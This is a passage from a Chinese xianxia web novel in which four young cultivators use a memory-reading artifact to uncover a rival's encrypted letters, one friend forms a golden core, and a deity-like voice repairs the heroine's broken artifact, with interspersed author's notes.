叶泯想笑,勉强忍住了,走过去往关云铮身边的墙上一靠:“事态怎么就发展成现下这样了?” “基因作祟吧。”关云铮小声嘀咕了一句。神秘东方或多或少都信点玄学,更不要说楚悯这样,出身官方认可玄学大家的了,就连她自己平日也会将小悯的话奉为圭臬。 谭一筠仗着自己个子高,站在略远处往人堆里看了眼,发觉只能看见楚悯的脑袋,和她看上去十分认真的发旋。 “都是要算些什么?”他走到关云铮的另一边靠上去,低声问道,“这般热闹?” “算自己的修为可会在近期得到进益,算自己未来一段时日可会遇到小人。”关云铮把玩着摇羽的剑穗,“是不是在你意料之外?” 谭一筠刚要承认,意识到关云铮在调侃,又转而为自己辩解:“我也只是那么一瞬间,以为……” “以为她们中有人会问姻缘?”关云铮靠在墙边笑了声。 谭一筠被戳穿,倒也不恼,只有些惭愧,但还没等他继续说些什么,关云铮便又开口道:“这也很正常,毕竟在我们还没能自主思考的时候,有些观念就已经在脑海中形成了。譬如女人就该相夫教子,男女一同生活就该是男耕田来女织布,这些话传了这么些年,会影响我们对相似话题的第一直觉,这再正常不过了。” 关云铮双手抱臂,目光轻轻地扫过围绕着楚悯的这几位姑娘:“她们想问修炼,自然也有人想问姻缘,只不过这几位中恰巧没有罢了,这都是她们的选择。一心修炼的未必就比问姻缘的高贵,问姻缘的也未必就是不思进取,不论做什么,都是她们的自由。” 她将目光收回,看向一边的谭一筠:“你倒也不必因为我说这些话,就觉得自己说错话了,你也没说错什么。” 不论是谁都有做出各种选择的自由,但同时也该履行不干涉他人自由的义务,因为真正的自由需要建立在互不干涉的基础上。 用“穿衣自由”去粉饰穿衣暴露,用“饮食自由”去纵容不健康的饮食作息,是消费主义在进一步侵害人的思维,是一群人在干涉另一群人的自由,甚至妄图逼迫他人接受制定好的“自由”,而非真正的自由。 但真正的互不干涉几乎是不可能的,会对他人行为产生不赞同或其他负面的想法,也是人之常情。只要不是说出来或者施加于他人身上,没造成真正的影响,心里想一想又有什么关系呢?毕竟人无完人。 谭一筠只是觉得“可能有人问姻缘”,而不是把“一看这么热情就是在问姻缘”这样的话脱口而出,已经不必太过苛责了。 追求自由之路漫漫而修远,吾辈自当……上下而求索。 **** 等到楚悯终于为姑娘们卜完卦,天色已彻底黑了,没有灯烛照亮的地方几乎伸手不见五指。耽误了他们的时间,几位姑娘也有些不好意思,纷纷跑去芥子中拿出足以答谢的小物件,一股脑塞进楚悯怀里。 “谢谢楚姑娘为我解惑!” “多谢楚姑娘点拨!” 一群人呼啦啦地来了,又呼啦啦地走了,留下楚悯站在原地抱着一大堆礼物不知所措。 “为什么我从她们看小悯的眼神里,品出了一丝……怜爱?”叶泯确信自己没看错,匪夷所思地说道。 “姐姐粉是这样的。”关云铮活动了一番险些站麻的脚,将自己从墙上撕下来。 谭一筠一头雾水:“姐姐……粉?” “就是既仰慕崇拜,又仿佛姐姐看待妹妹般照顾怜惜。”关云铮随口解释,走到楚悯身侧,“都给了些什么?” 楚悯很想为她清点一番,但怀里被塞得太满,实在腾不出手,只好叹了口气:“你先帮我……把它们收进乾坤袋里吧。” 关云铮笑嘻嘻地答应下来,两人收拾了好一番,才将楚悯的怀里清空。 两位姑娘不便进入芥子院,此处又人来人往,不是说话的好地方,谭一筠当即拍板:“左右此事并不算很急迫,不如明日再说?” 关云铮无可无不可地一点头:“那就明日见。” ——“我们在赵乾达的芥子里找到了一叠书信。”次日一早,四人在桌边用饭时,谭一筠说道。 “跟谁的?”关云铮没抬头,默默喝着李演新研发的甜粥。 叶泯夹了一筷子腌萝卜:“看不出来,全部加了密印。” 原本埋头喝粥的关云铮和楚悯一同抬起头:“密印?” 两人对视一眼:原本只是她们主观上觉得赵乾达有点问题,而这想法多半有点私人恩怨的成分在。现下这些信件却是十足客观、作不了假的,但是赵乾达无端给自己的信件加密做什么? 虽说再开朗的人也会有秘密,赵乾达固然蠢得冒泡,但未必就不是会用密码日记本,不是,加密信件的人。 但一个人性格哪怕再多变,再多面,各个面之间也一定存在着某种联系,不可能像从别处窃取来的人格一样,各个面互不相接。现实中的人会自己喘气,自己行动,各种性格和行为背后是独属于此人的行事逻辑,而非某些文艺作品里由人设堆砌起来的摆件,各种人设自相矛盾。 赵乾达挑衅行为的背后驱动是自卑催生的嫉妒,同时他又十分盲目自大,一个盲目自大的人,做事是几乎不可能谨小慎微的。 试想他一面在白日里挑衅楚悯,连楚悯是自己所在门派掌门之女一事,都全然不在意,一面又在夜里写信时,给自己的信加上无法破解的密印? 如果他真能这么割裂,那只能说明曾经那些挑衅、目中无人都是假的。 关云铮挑眉:演技这么好?可是根本不像演的啊。 在剖析某种人的心理时,关云铮会下意识让自己避免陷入和这种人相似的极端情绪里,譬如要剖析赵乾达,就得避免自己像他一般自大。 抛开赵乾达究竟是个什么样的人不谈,那些信件有多重要,值得他全部加密呢? 寻常的亲人往来?应当不至于,就算通篇都是骂人应该也没必要加密。 与某人的密谈?这人又会是谁? 有谁是他不能用随身灵牒通信,非得诉诸笔端不可的呢? 不用灵牒,此人和他的关系想必并不亲近;同样的信件这样多,两人之间大概有一定程度的信息差,所以才需要通过交流来互通信息;赵乾达来归墟这样久,信件却只有一叠,说明往来并不算频繁,两人之间……可能有某个人掌握着沟通的主动权。 赵乾达手头的信件全部加密了,假如这并非是因为他谨慎,而是……对方的要求呢? “加密的信件,子不语是不是不能速记?”关云铮抬眼看向谭一筠。 谭一筠点点头:“子不语的速记需得我能看懂。” 关云铮的思绪诡异地打了个岔:“那岂不是设计之初就是按照本命法器来的?权能的上限取决于使用者修为的上限?” 而子不语最开始是章存舒给自己设计的…… “我有些好奇子不语在师父手中能发挥多大的作用了。”关云铮若有所思。 谭一筠沉默了片刻:“云铮你这话就有点伤人了。” 关云铮心不在焉地“嗯?”了声,而后回过神来,十分没诚意地玩笑道:“怎么会呢,在不同人手中自然有不同的侧重,子不语在师父手中也没承载过阵法,不能放在一起比较的。” 叶泯憋笑憋得嘴角抽搐:“要不云铮你还是别解释了,谭兄的脸都快绿了。” 楚悯煞有介事地凑近看了眼:“嗯,好像是有点。” 谭一筠一脸悲愤:还有没有天理了!—— 作者有话说:9.16→9.27,新增评76条,也即3880字 营养液的加更后续几天会补上(因为两个加在一起太多了,一时半会儿写不完,所以先发评论的) 连轴转一周后不幸感冒了,大热天感冒实在太酸爽了(望天)大家千万别跟我一样贪凉,容易中招() 第146章 谭一筠没法看懂加密后的信件, 子不语也就无从速记,但关云铮却有个大胆的想法,只是不清楚可行性如何, 暂且按下没对着同伴们说。 赵乾达一事暂且没结果, 四人挑着其他的话题断断续续地聊着。早饭吃到半途,章存舒打着哈欠进门了, 甫一走进便察觉到了几束灼热的视线, 顿时把没打完的哈欠收了:“怎么了?” 关云铮、楚悯、叶泯三人瞬间举起自己的手指向谭一筠:“他说想看子不语从前在你手中能发挥多大的作用。” 一句话整齐得如同预先排演过,一个字都不带磕巴的。 谭一筠脸上的神情已经从悲愤转为了惊怒:“你们什么时候背着我排演的这出?!” 关云铮一脸无辜地摊开手:“你可一直同我们坐在一处,哪里预先排演过了。” 章存舒拉偏架,端着碗坐下时摆明了和稀泥:“好了,小筠你年长,云崽他们偶尔玩闹, 让着些。” 其实谭一筠也没真生气。 或许是师门中的师兄师姐比较多,关云铮很会拿捏和同龄人相处时开玩笑的尺度, 从没开过真的会让人不愉快的“玩笑”。 他自己是从来不在意这些同伴间的玩笑话的,关云铮自然也清楚, 才会偶尔开些小玩笑。非要谈“没规矩”尺度的话, 她和闻越说笑时更没顾忌些,在他们这些同伴面前反而更拘着点。 大概是怕他们独身在外心下空落,所以才会这样做吧。 至于章存舒……他师父的朋友, 人精的程度想必是跟师父坐一桌的, 在这种时候说出这样“拉偏架”的话,无疑是配合关云铮,让他能在归墟放松心情。 至少对幻境的忧虑确实在这一刻消失了,取而代之的是被同伴联合“背叛”的微恼。 他自己也确实总因为大了同伴们一岁而多有拘谨,总是有意无意地端着兄长的架子, 被这么一打岔,好像才意识到自己其实也不过虚长了一岁而已,依旧是同龄人。 谭一筠收回心绪,忽然想起昨日在幻境中,关云铮和楚悯交谈时说的事:“对了云铮,昨日你说出幻境后再看水镜的,究竟是何事?” 话音刚落,他就看着关云铮和楚悯手中的勺子齐齐一顿,随即一同抬起头来面色复杂,一脸欲言又止地看着他。 谭一筠心眼奇多,被兰珏磋磨的这许多年也增长了不少眼力见,见她俩脸色不好看,霎时觉得自己在幻境中的猜测恐怕是真的:云铮大概在用将隐回溯时见到了,那人蛊究竟是如何“吃”的。 “冒犯了。”他思索过后自觉方才失言,默默低头给自己塞了口粥。 章存舒仍旧一脸没睡醒的样子,盛了粥也不怎么喝,托着下巴看他们几个说话,忽而来了句:“云崽有话要问我?” 关云铮才跟楚悯嘀咕完,粥一入口就听见这么一句,愣是神色如常地把粥咽了,没被吓着。 很好,再被这神棍似的师父这么唬上几回,心理承受能力想必能再跃升一个台阶。 “我是想,子不语有灵,能否对其动用将隐的权能,调取出关于加密信件的那部分‘记忆’,再进一步调取,看到信件的‘记忆’,从而看见它们未被加密前的模样呢?”关云铮将自己的猜测说出口,有些踟蹰地看着章存舒。 章存舒换了只手撑着下巴:“信件?” “哦忘了跟你解释,”关云铮又犯起懒来,将手摊开指向叶泯,“你来解释吧。” 谭一筠忍不住在心里微笑了一下:又在“安排”别人了,这种能迅速拉近距离的行为。 叶泯快速解释了一番昨晚的发现。 章存舒没对他们进入他人芥子、翻找物件的行为做出什么评价——做都做了,评价是没有意义的,夸是助长这种算不得正直的行为,贬是道貌岸然的诡辩。 他只是神色平静地听完,而后给出了关云铮方才提出问题的答案:“或可一试。” **** 这段时日以来,除了在迷津渡幻境中,将隐权能的触发几乎都是被动行为,关云铮没有刻意动用过,形体消失而权能尚存的将隐在她识海内,更像是遇敌才动的撷光。 对了,说到撷光。 她低头看了眼左腕,忍不住思考起一个问题:如今她的反应能力已经提升了不少,有兵械近身一般都能立刻察觉并回击,用来防身的撷光变得很鸡肋,像个只为了装饰的镯子。 但师父费尽心思打造这么久,约莫也不会只打算给她当个镯子用,日后想必会有它发挥作用的场合。 关云铮用右手虎口圈住左手的手腕,忽而想起几次心魔引作乱时,撷光在她腕上收紧的情形。 这样一个小物件应当没有器灵,难道是“检测”到了她杂乱无章的脉搏?可在她的注视下忽松忽紧地变幻,又算什么?难道还能“检测”到她的目光?这就有点匪夷所思了吧。 撷光里究竟还有什么呢? “云铮?”叶泯的声音响起。 关云铮回过神,发觉子不语已经在她面前悬浮了好一会儿,见她一直没反应,扇面上甚至浮出了一排杂乱的墨点。 这画面不知怎么把她逗笑了,她看了会儿眼前的子不语,忽而说道:“话痨。” 坐在一边等着她翻阅“记忆”的谭一筠“嗯?”了声。 识海随着她的心念变换,泛起了一圈涟漪,关云铮一面把将隐的权能“覆盖”在子不语上,一面笑着问道:“子不语这个名字是谁起的?” 谭一筠没意识到她想表达什么,如实回答:“我师父。” “记忆”逐渐出现在她眼前与脑海,关云铮勾着嘴角:“有没有可能,你师父给子不语起这个名字,是想警醒你少说两句?” 一天到晚被埋汰的谭一筠:“……” 不过还没等他象征性地发表几句抗议,关云铮脸上轻松的表情就逐渐淡了下去,变为一种专注之下的平静,看来是翻到了子不语的“记忆”。 子不语仿佛也能察觉到关云铮在做什么似的,扇面上的墨迹忽隐忽现,如同器灵的脉搏。 关云铮此前还没试过“套娃式”翻阅,因此查看完子不语的“记忆”后有些停滞不前,断了一会儿才隐约摸索到存在于两段“记忆”之间,那细如微丝的连接。 将隐在她识海中稳定下来后,她便很少再听见那种轮盘嵌合着停止转动时,那细微但清晰的“咔哒”声了。大概是形体确实碎得拼不回来了,将隐逐渐成了一种随她意念而动的法器,无声而强大,仿佛永远能为她拨开过去的迷雾,指引前路。 但此刻,约莫是与以往所做的探究不同,“开启”信件“记忆”的这一瞬间,她又听见了那声久违的“咔哒”。 仿佛那三个互相嵌合的轮盘不曾碎过,而万事万物之间的联系正如这三个轮盘,彼此咬合,又彼此牵制。 片刻之后,关云铮收回视线,疲惫地按了按眉心。 子不语若有所感,也飘回了谭一筠的身后。 “怎么样?”叶泯率先按捺不住,小声问道。 “不如大家猜猜,信件对面是谁?”关云铮将眉心捏得一片通红,终于收回手,端起一旁的热奶茶喝了一口。 过度用脑了,是该补点糖分,绝对不是因为她馋。 既然关云铮要他们猜,那自然是他们认识的人。 但叶泯和谭一筠一时都有些一头雾水,不明白他们认识的人中,谁会与赵乾达有着这样的信件往来。 楚悯正鼓着两颊嚼珍珠,闻言含糊不清道:“严骛?” 关云铮嚼着珍珠打了个响指:“猜对了。” **** 严骛来归墟进行所谓“观摩”的时候,谭一筠和叶泯作为第二批弟子,尚未前来接受教习,对这人在归墟的经历一无所知。而仙盟又在朝安城龟缩已久,是另一种意义的“天高皇帝远” ,处在鹧鸪山这样的角落,自然也没法知道他到底有多趋炎附势、耀武扬威。 但谭一筠消息灵通,对这个人名还是有几分了解,闻言挑眉:“师父说仙盟在教习开始后来过归墟,那时你们起了冲突?” 关云铮咕嘟咕嘟地喝奶茶,一脸无辜:“没有,我和小悯那几天甚至没见到他。” 她把喝空的杯子放下:“只知道他那时随处乱逛,碰见了凌师伯,被骂得很惨。” 谭一筠和叶泯顿时哈哈大笑。 “他那个性子,被骂了居然没闹大?”谭一筠笑完,想象了一番凌风起骂严骛的情形,差点又没忍住笑。 叶泯阴阳怪气的:“怎么没闹大,他这不就跟姓赵的里应外合沆瀣一气了?鬼知道他们要闹多大。” 楚悯也放下杯子,下意识用指腹蹭了蹭唇角,发现没有奶茶渍后才开口:“严骛城府有余,恶劣不足,之所以只是信件往来,想必也只是心存疑虑,让赵乾达帮他探查消息,并没有实证。” 要是再恶劣些的,想来会直接捏造一份甚至多份伪证,从而达成自己的目的。 一盆脏水是泼,几盆也是泼,做得出坏事的人是不会掂量坏事的“尺度”的。 楚悯说着有些疑惑:“你从记忆中看到了吗,他的目的。” 关云铮靠在桌边,扬起脸看了一会儿房梁,又低下头:“是赵乾达主动联系的严骛,他觉得我修为突飞猛进,身上一定有问题。” 闻言,叶泯脸上的神情看上去像要冲回芥子把赵乾达揪出来打。 “不怕人蠢,就怕人又蠢又坏。”他没好气地说道。 “用自己能力的上限来衡量他人能力的极限,自己做不到便说他人也是走捷径,这样的人委实太多。”谭一筠没什么情绪地点评了一句,而后语气直转而下,冷得能结出冰碴,“但他会这样做,无非是先前几次挑衅时,被我们的态度激怒甚至觉得羞辱,想要借此报复。” 幼稚,卑劣,不可理喻。 关云铮并没有特别生气,因为从小到大见过无能狂怒的人太多,被背刺的经历也不少,对这种事习以为常,对这种人的动机也并不关心。 只会盯着别人而不知道审视自己的人,没有必要与这种蠢货计较,实在掉价。 但是也不能纵容这种人在背后继续中伤的行为,她又不是谁见了都能上手捏一把的软柿子,至少也得是个生栗子,谁敢来摸,就扎他一手的硬刺。 “不过我身上确实有点问题。”关云铮忽而意味不明地说道。 三人明白了她的意思:“要借此引他上钩?” 关云铮勾起嘴角:“也要引他背后的人上钩。” **** 四人简单筹谋了一番日后的计划,没有声张。因为或多或少对日后的两次幻境有些紧张,所以趁着饭前又各自修炼了一番。 楚悯破妄后,与月下逢之间的联结变得更为紧密,如今已能直接从虚空中召出琴来,不必背着笨重的琴身奔走,也不必将其放入乾坤袋中。 关云铮对这种召唤形式很感兴趣,趁着苏逢雨教完上午的课出门溜达,凑到楚悯身边让她给自己多展示几次。 之前在幻境中情绪太紧绷,都没怎么看清楚过呢。 只见楚悯抬手,石桌上的月下逢骤然化作一片光点没入虚空。 她再次张开手掌,那片光点又从虚空中出现,在她掌心凝聚,而后出现实体。 天嘞,物质守恒不存在了。 虽然关云铮早就接受了修仙世界不能用科学解释的诸多现象,但偶尔与楚悯一起时,还是忍不住会想,这些现象如果真的发生在现代,会有怎样的合理解释。 见她走神,楚悯好奇:“在想什么?” 关云铮简单把能量守恒定律同她说了说,又提出困惑自己已久的另一个问题:“灵犀那么大一条,是怎么被一张符咒变得绕在手腕上那么点大,又是怎么被收进灵笼里的呢?与你这样同理吗?” 楚悯则是理解了一会儿她所说的新概念,过了片刻才答话:“符咒大概就是你所说,一种能量的载体,如同它可以承载灵气一样,灵气大概也能算是一种能量?只不过玄之又玄,没有具体的表现形式。”她一面思索一面说道,“在变小的符咒对灵犀施放后,灵犀由大变小的这部分‘能量’,便被符咒承载的这部分灵气接纳了,暂时收取,而变大的符咒则吸取了这部分‘能量’,恢复了灵犀的体型。” 这种说法倒是十分科学,能量没有消失,只是被转移了。 关云铮若有所思,继而在记忆中翻找出一根筋不知从哪看到的说法。 传送本质是销毁人在A地点的“存在”,而后根据A地点留存的“信息”,再3D打印般地,在B地点造出一个一模一样的人来。 所以基于这种理论,也有人觉得传送过后的人不是同一个人,是某种意义上的“忒修斯之船”。 不过按照楚悯的说法,大概也可以理解成,阵法作为承载灵气的载体,同样暂时接纳了这部分能量,等到传送这一过程实现后,它便将这部分能量归还,实现最终目的。 符咒法阵不生产灵气,它们只是灵气的搬运工。 关云铮明白了,无论是科学意义还是玄学意义,于是心满意足地点点头:“我没有别的问题了。” 楚悯失笑:“那不如我来问问你吧。” 距离用饭还有一段时间,师兄师姐们也有自己的每日修炼任务,没来喊他们吃饭,这一路的小院中也都静悄悄的。 关云铮一时没想出楚悯有什么要问的,但还是伸出手,做了个“请”的手势。 “你觉得自己离突破金丹还有多长时间?”楚悯问道。 关云铮一愣,如实说道:“我没想过这件事……最近虽然能感觉到武艺一直在提升,但修为上……师父不说的话,我有点没数。” 毕竟她的识海一天下来总得翻腾那么几次,有事翻,没事也翻,她不太清楚哪些是修为提升的涟漪,哪些是心绪受影响而产生的涟漪。 楚悯伸出手按在自己的小||腹:“你把手放在这。” 关云铮按照她的说法将手放了上去:“我闭眼感受吗?” 楚悯颔首:“你试着引导识海的力量去触碰这个位置,如果能感觉到有一股若有若无的暖流与其相碰,互无敌意但不圆融,那就是你尚未凝聚成形的金丹。” 关云铮闻言,认真感受了一番,继而了然地摇了摇头:“没有。” 她知道楚悯不会无端提起这个问题,故而反问道:“你结丹了?” 楚悯初来归墟便已在筑基中后期,本来也是因为修为一直停滞不前,才来归墟试试别的法子。如今她每日在音修之道上花的时间比卜卦多得多,竟然还真的有了突破的迹象。 “是因为破妄?”关云铮思索着说,“虽然苏修士明言你已经破妄,但我其实没能从外界感觉出你与先前有什么分别,不过是琴音更流畅,捕捉到的‘律’也更完整了一些。” 没等楚悯对她这番话做出回应,关云铮便自顾自又接着说道:“不过兴许在这一道上,一丁点的进步都足以具象为庞然的成就,或许破妄之时你便凝出金丹了,只是顾着修炼,未曾察觉。” 楚悯以手触腹:“好像就是在今早嚼珍珠的时候。” 关云铮这下一头雾水了:“?你说什么时候?” 合着这金丹还讲究以形补形呢? 楚悯也觉得匪夷所思:“兴许正如你所说,先前已经在缓慢凝聚,但我未曾察觉。只不过这……嚼珍珠嚼成形的金丹,怕是整个修仙界也找不出几个。” 毕竟其他仙门可没有珍珠奶茶。 “能结丹就是好事,一没偷二没抢,管它怎么结的。”关云铮浑不在意地说,“只不过对外你仍然要说是经历了千辛万苦才得来的,否则少不了议论。” 有的人失败,对于勤奋者的成功会以笑面对,甚至还会给这些人加油助威;但若是碰上了真正“运气好”的人,总有人会破防。 因为人们总是更容易接受另一个人比自己努力才比自己优秀,而非他们的优秀轻而易举,唾手可得,被人人传颂为“天生就该吃这碗饭的。” 毕竟人总是不能接受自己生来就低人一等这个事实,哪怕这个由成功之人缔造的事实前,铺满了血泪。 作为楚悯的同伴,关云铮见过许多个楚悯用心修炼的清晨与夜晚,太清楚她究竟付出了多少,所以更不能接受有人得知此事后,将她的努力总结为一句“运气好”。 “不过这个好消息还是该告诉话痨他们,还有师门的大家。”关云铮又扬起笑脸,牵住楚悯的手,“走,去吃饭了。”—— 作者有话说:白天没休息好,晚上赶出来了() 修改了第一章 的作话,有些话放在那边了,感兴趣的可以去看看。不过我觉得看到这章的读者,也不太需要去看那些[撒花] 预祝大家国庆节快乐!假期会努力更新的![亲亲] 第147章 幻境结束的这两日里照例没有教习安排, 几位教习先生落得清闲,全都在苍生道饭堂等着开饭。听见楚悯结丹的消息,众人反应各不相同, 但面上都带了些喜色。 最高兴的是李演, 原本菜都快上齐了,听了这个好消息, 他连忙转身, 回灶边又去做了道甜食。 楚悯很喜欢吃这种甜酒酿浸着的糯米丸子,再加上一勺从山下农庄带回来的桂花蜜,每次都能一口气吃上一大碗。 关云铮喜欢桂花,但对酒酿不怎么感兴趣,给她的那碗里只放了少许酒酿,桂花蜜多加了些。 至于其他人…… 李演单独给两位小姑娘做好了甜食端到面前, 又把余下的酒酿丸子往桌上随意一放。 蒲飞鸢挑眉:“区别对待?”不过还没等李演回答,她就先笑了, “既如此,我们这帮人就自己动手吧。” 她看热闹不嫌事大地笑话章存舒:“你今日怕是不能吃了吧, 小映方才还同我说你牙疼。” 坐在她身侧的苏逢雨不动声色地一挑眉, 没说话。 长桌两侧坐满了人,除了褚老声称自己年纪大了不敢吃甜食,章存舒被连映的目光注视着没动手盛, 其他人都盛了一碗。 餐前甜食的小插曲过去, 闻越的好奇心再按捺不住:“小悯,结丹是怎么感觉?” 江却和连映早就是金丹期了,在座的几位长老和先生也都早早经历过,这个问题闻越自然也都问过他们。可那些关于结丹的记忆太过久远,有很多细节都逐渐在岁月中模糊了——也可能是师父和掌门嘴里没半句真话。 楚悯咽了两颗丸子:“大约是在幻境中得到了提升, 但那时情形紧迫,容不得我多想。现下想来……身上似乎一直有些热。” 凌风起此时开口,说了句乍听十分外行的话:“炼丹时炉子自然会发热。” ……好像也是。虽然这说法乍听真的很怪,但关云铮还是收回了自己反驳的念头。 结丹作为修行阶段之一,褚老在课上也是讲过的,但是因为修行的这帮弟子之中,大多尚未到这个境界,所以褚老只简单说了说金丹究竟由什么结成,又会出现在身体的哪个位置。 关云铮回忆了一番当时的知识点,顿时苦大仇深地皱了皱眉——实在是太多专有名词了,到现在也配得上一句“佶屈聱牙”。 譬如什么,丹田分上中下三处,上丹田位于眉心印堂穴,主神;中丹田位于膻中穴,主气;下丹田即金丹结成的位置,主精。 “精气神”共同凝成金丹,而金丹结成的过程还需经过炼精化气、炼气化神、炼神还虚、虚极静笃,最后金丹自结。 感谢将隐,这么多专有名词,她也能不打磕巴地回忆起来。 说到将隐…… 他们究竟为何去赵乾达的芥子中翻找东西,这件事还没能同章存舒解释清楚,目前她借助将隐探查出的信息也还没同步。 不过此时不是个谈事的好场合,还是先吃饭吧。 **** “严骛?”步雁山皱眉,“有他什么事?” 他这样好的涵养,难得直白地流露出不满,关云铮四人一同愣了愣,而后谭一筠率先解释道:“约莫是他先前来过归墟,那时摆明是要给归墟找不痛快,所以赵乾达想要寻我们错处时,才会第一时间想到与他合作。” “还没被骂够?整日闲出屁了这么能折腾。”原以为步雁山的不满已经十分明显,没想到凌风起言语比步雁山还要直白几分。 熟悉的刀子嘴这次转向了外人,关云铮差点脱口而出一句“好骂”,忍了又忍才咽回肚子里,只含蓄地点了点头表示赞同。 苍生道师门内部场合,没什么是不能说的,只是谭一筠和叶泯没怎么直面过凌风起的说话风格,谭一筠的表情管理尚且在线,叶泯已经听呆了。 闻越被他的表情逗得快笑死了,用手肘碰了碰他的:“这位少侠,回神了。” 叶泯茫然地回过神来,倒是没忘了压低声音:“凌师伯一直是这样说话的吗?” 一旁的楚悯递来一个“确实如此”的眼神。 难怪先前云铮和小悯这样怕他…… “你担心赵乾达借助严骛之力,发现你体内曾经有过心魔引?”没有外人在,章存舒直接点明了几人心中的忧虑。 谁料这却不是关云铮心中的忧虑,她浑不在意似的:“我倒是怕他发现不了。” 毕竟心魔引已经因为她先前的自毁消失了,如今在体内大约也找不到什么痕迹,除非找到那帮给她种下心魔引的邪修,才能得知此事的来龙去脉。 但那帮邪修已经被江却杀了,上哪儿知道去? 还有就是她的身世,如果真要查,大约也能查出些端倪,这些都是可以大做文章的点,但她就怕……赵乾达那个脑子,发现不了。 “他若是什么都查不出来,我们也就无从得知他和严骛的计划究竟是什么,又进行到了哪一步。”关云铮撑着下巴说道。 一想到这两人可能还沉浸在自己的宏图伟业中不可自拔,结果一切都在他们的预料之中…… 关云铮一想到坏人破防就想笑,勉强在一群师长面前忍住了,端正态度:“不过此事应当还需等他们行动,无需操之过急。” 凌风起哼笑一声:“狐狸尾巴都要露出来了。” 关云铮不明所以,还以为他在点评那两位,正要附和一句,谁料凌风起看了她一眼,补充了一句:“我说的是你。” ……要不您还是闭嘴吧。 连映笑了一声,出面打圆场:“这样说来,云崽运用将隐权能越发得心应手,小悯也结出了金丹,”她看向对面的谭一筠和叶泯,“听闻你们的符咒与阵法也学得越发出色,看来对下次幻境都能胸有成竹了?” 四人光速变脸:“那不至于。” 江却下意识发问:“为何?可是还有什么问题?” 关云铮朝着章存舒的方向做了个“请”的手势:“因为师父是幻境的布设者,我们只会惴惴不安,没法胸有成竹。” “哈哈哈哈……”桌边顿时笑成一片,笑得最大声的就是凌风起。 看来也没少被自己的师弟坑啊,凌师伯。 **** 歇过两日,次日一早又得恢复正常教习,关云铮抓紧时间享受最后一段休息时间,吃过晚饭后便窜到了屋顶坐着,手边摆了一小壶奶茶。 其实她还有件事一直没同章存舒说,关于那个偶尔会在她“脑海”中响起的声音,她和楚悯只是有个粗浅且大胆的猜测,但对方具体是何种存在,尚且没有定论。 但她又无端觉得这事说与章存舒,或许也不会有太多新的进展。 关云铮借奶茶消愁,拿着杯子灌了一大口,正打算翻下屋顶将没喝完的给闻越送去,以免自己今晚睡不着,便听见那个声音在“脑海”中响了起来:“怎么,我才来你就要走?” 她险些一脚踩歪从屋顶摔下来,迅速稳住身子后坐了回去:“不要说得好像我同你很熟。” “好歹也聊过几次天,还是不熟?好绝情啊。”那声音带着熟悉的、欠揍的笑意,语言习惯也更接近现代人。 关云铮木着脸:从祂说话的腔调和用词习惯来看,应该都是从自己这里学的——她什么时候这样说过话了?!一听就不是正经人……正经神啊! “哦?你已经断定我是神了吗?”祂又洞悉了关云铮的内心,颇感兴趣地说道。 “我觉得你是神经。”关云铮没好气,“你能不能停止对我内心的窥探?” 祂幽幽地叹了口气:“很遗憾,不能,换个你比较好理解的方式就是……这是被动技能,自己触发的。” ……会点现代词可真给您厉害坏了,您怎么不说被动技能还有内置CD呢。 “好了,说点正事。”那声音忽地收敛了笑意,变得正经起来,“将隐的碎片你应当还留着吧?” “你问这个做什么。”关云铮直觉自己今晚喝不喝奶茶应该都睡不着了,索性又给自己倒了一杯。 “了解你的人自然知道,你识海中留有尚余权能的将隐,只是外形不复,因此能够看到人或物的记忆;不了解你的人会怎么想?”祂忽然像个循循善诱的老师,语气很是温和耐心。 不了解她的人怎么想……其实不太重要。 虽说人是社会性动物,一个人的“形象”多半是由他人的语言构筑起来的,过去的关云铮也对别人的看法比较在意,没少因为那些说法内耗过。但现在都算是她的第二次人生了,如果还是不能摆脱别人的看法,好像多少有点……失败? “我知道你在意。”祂截口打断了关云铮漫无边际的思索,“如果你不在意,就不用这样努力修炼,也不用对原身和她妹妹的死心怀愧疚。” 被人洞悉一切心理的感觉很不好,如果是过去的关云铮,尤其反感的行为之一,就是别人对她说“我还不了解你吗”。 可过去的关云铮大概已经死了。 她面色平静地接话:“所以为什么要问碎片的事,你能修复将隐?” “你都觉得我是神了,还不能修复将隐,是不是有点说不过去了?”祂笑着问道,随即又正色般解释,“此事全看你的意愿,修复将隐不过是让日后旁人明白,你这能力究竟从何而来。毕竟你尚且年轻,拿着天问掌门出品的法器,自然要比你自己有这本事更能令人信服。” 关云铮自然明白祂究竟是什么意图,本想接过话茬,无端被祂话里的“出品”逗笑,笑了好一会儿才说:“那我又该如何向师门和同伴解释?” 祂的声音听起来很是匪夷所思:“你说什么他们不信?” ……谢谢您。 “你不反驳就是同意了?”祂非得在今天帮关云铮把将隐修好似的,又催促了一句。 关云铮认命地从乾坤袋里掏出保存好的将隐碎片,将包裹着碎片的手帕一层层揭开,摊开在自己手心:“你怎么修?” “借你右手一用。”这话刚落下,关云铮还没反应过来,只见右手掌心窜出一团颜色极为纯粹的光,几乎是纯白的。 那光团从她掌心升起,落在了手帕包裹着的将隐碎片上,霎时散作了星点。 光点笼罩住了那一堆碎片,顷刻之后,久违的轮盘出现在她眼前,而她到了此刻才后知后觉,祂对自己右手的“掌控”,竟然真的只在光团流散而出的那一瞬间。 “不用担心,我不会贸然操控你的身体,只是为了让你看清过程,借你的手做个媒介。”祂十分“善解人意”地说道。 恢复外形的将隐像是为了响应这话似的,在空中“咔哒”了一声。 “等等。”关云铮迟钝地觉察到不对,“它怎么会飞了?” “算作借你之手的一点补偿?”祂笑着说道。 关云铮皱起眉头,总觉得祂时隔多日忽然出现,绝不仅仅是为了修补将隐这样简单,忍不住追问道:“修补之后呢?除了你说的让外人不对我的能力起疑,还有什么?” “还有的事你迟早会知道的。”祂没直面回答,说了这么一句后又开始没个正经,“你就不能装糊涂吗?” 装糊涂作为很多人信奉的人生信条,确实会让日子好过很多,她也不是没装过糊涂,大学时期沉迷游戏就是她对自己无能的一种逃避。 然而事实证明逃避是没有意义的,一旦脱离了人为构筑的快乐环境,那种虚无的感觉就会像某种隐秘的疼痛,咬上人之后,绝不松口。 越是成长,越是清醒地意识到,她不是装糊涂,只是没勇气面对失败而已。 这又算什么糊涂呢?糊涂之人对许多事都心中有数,只是不计较,她可要茫然多了。 虽然祂能窥探关云铮的内心,但想必也没想到一句随口而出的话会引出这样不算愉快的“内心”,停顿了好一会儿才说:“好了,是我失言。是其他的事尚未成为定数,不可预先告知。” 关云铮眨了眨眼:“是这样?” 祂笑了一声,而后忽而压低声音说道:“诈我呢,小姑娘?” 被祂发现自己的心思,关云铮也没反驳,只是又喝了一口奶茶:“你有实体吗?” “有,怎么。” 